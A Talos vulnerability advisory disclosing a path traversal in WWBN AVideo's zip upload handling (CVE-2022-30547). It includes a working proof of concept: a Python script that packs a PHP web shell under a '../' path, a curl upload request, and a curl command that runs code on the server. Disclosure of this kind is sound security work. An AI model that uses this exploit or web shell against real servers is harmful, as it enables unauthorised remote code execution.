Talos Vulnerability Report

TALOS-2022-1547

WWBN AVideo aVideoEncoder unzipDirectory directory traversal vulnerability

AUGUST 16, 2022

CVE NUMBER

CVE-2022-30547

SUMMARY

A directory traversal vulnerability exists in the unzipDirectory functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6
WWBN AVideo dev master commit 3f7c0364

PRODUCT URLS

AVideo - https://github.com/WWBN/AVideo

CVSSV3 SCORE

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

DETAILS

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

The `objects/aVideoEncoder.json.php` file can be used to add new videos. This functionality does not need special configuration to be used. However, the user performing the request needs permission to upload videos.

When adding a new video, a `downloadURL` can be specified, so that AVideo fetches the url content and adds it as a video. Alternatively, a user can supply a zip file:

```
...
if (empty($_FILES['video']['tmp_name']) && !empty($_POST['chunkFile'])) {
    $_FILES['video']['tmp_name'] = $_POST['chunkFile'];  // [1]
}

// get video file from encoder
if (!empty($_FILES['video']['tmp_name'])) {
    $resolution = '';
    if (!empty($_POST['resolution'])) {
        $resolution = "_{$_POST['resolution']}";
    }
    $filename = "{$videoFileName}{$resolution}.{$_POST['format']}"; // [2]

    $fsize = filesize($_FILES['video']['tmp_name']);

    _error_log("aVideoEncoder.json: receiving video upload to {$filename} filesize="
. ($fsize) . " (" . humanFileSize($fsize) . ")" . json_encode($_FILES));
    $destinationFile = decideMoveUploadedToVideos($_FILES['video']['tmp_name'],
$filename); // [3]
...
```

At [1], the `chunkFile` parameter is read, then it is used at [3] when calling `decideMoveUploadedToVideos`. Note that, unless the video already exists (specified via the `videos_id` parameter), an attacker will need to specify the `resolution` parameter at [2]. Otherwise `decideMoveUploadedToVideos` will return early at [4].

```
function decideMoveUploadedToVideos($tmp_name, $filename, $type = "video") {
    if ($filename == '.zip') {
        return false; // [4]
    }
    ...
    if ($type !== "zip" && $path_info['extension'] === 'zip') {
        _error_log("decideMoveUploadedToVideos: ZIp file {$filename}");
        $paths = Video::getPaths($path_info['filename']);
        $dir = $paths['path'];
        unzipDirectory($tmp_name, $dir); // unzip it  // [5]
        cleanDirectory($dir); // [6]
```

At [5] `unzipDirectory` is called to unzip `$tmp_name` inside the directory `$dir`. Then, `cleanDirectory` [6] is called.

```
function unzipDirectory($filename, $destination) {
    global $global;
    // Wait a couple of seconds to make sure the file has completed transfer
    sleep(2);
    ini_set('memory_limit', '-1');
    ini_set('max_execution_time', 7200); // 2 hours
    $cmd = "unzip {$filename} -d {$destination}" . "  2>&1";
    _error_log("unzipDirectory: {$cmd}");
    exec($cmd, $output, $return_val);

function cleanDirectory($dir, $allowedExtensions = ['key', 'm3u8', 'ts', 'vtt',
'jpg', 'gif', 'mp3', 'webm', 'webp']) {
    $ffs = scandir($dir);

    unset($ffs[array_search('.', $ffs, true)]);
    unset($ffs[array_search('..', $ffs, true)]);

    // prevent empty ordered elements
    if (count($ffs) < 1) {
        return;
    }

    foreach ($ffs as $ff) {
        $current = $dir . '/' . $ff;
        if (is_dir($current)) {
            cleanDirectory($current, $allowedExtensions);
        }
        $path_parts = pathinfo($current);
        if (!empty($path_parts['extension']) && !in_array($path_parts['extension'],
$allowedExtensions)) {
            unlink($current);
        }
    }
}
```

`unzipDirectory` builds a command to unzip `$filename` into a `$destination` directory which is not under attack control.
`cleanDirectory` makes sure that only certain file extensions are present in the `$destination` directory.

The problem is that `unzipDirectory`, by calling the `unzip` binary, doesn't check if the zip file contains directory traversal paths. This allows an attacker to supply a zip file containing `.php` files, which could lead to arbitrary code execution in the host.

Exploit Proof of Concept

First, one can create a zip file that stores `shell.php` in a parent directory within the zip file:

```
$ cat makezip.py
#!/usr/bin/env python3

import os
import zipfile

fname = "shell.php"
code = "<?php system($_GET['cmd']);"
open(fname, "w").write(code)
with zipfile.ZipFile('shell.zip', 'w', zipfile.ZIP_DEFLATED) as zipf:
    zipf.write(fname, "../" + fname)
```

Check contents:

```
$ ./makezip.py
$ unzip -t shell.zip
Archive:  shell.zip
    testing: ../shell.php             OK
No errors detected in compressed data of shell.zip.
```

As we can see, the zip contains one file `../shell.php`.

The zip is then uploaded:

```
$ curl -k $'https://192.168.1.200/objects/aVideoEncoder.json.php' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l' \
    -F video=@shell.zip -F format=zip -F resolution=1
```

And `shell.php` can be used to execute commands:

```
$ curl -k $'https://192.168.1.200/videos/shell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

VENDOR RESPONSE

Vendor confirms issues fixed on July 7th 2022

TIMELINE

2022-06-29 - Initial Vendor Contact

2022-07-05 - Vendor Disclosure

2022-07-07 - Vendor Patch Release

2022-08-16 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.
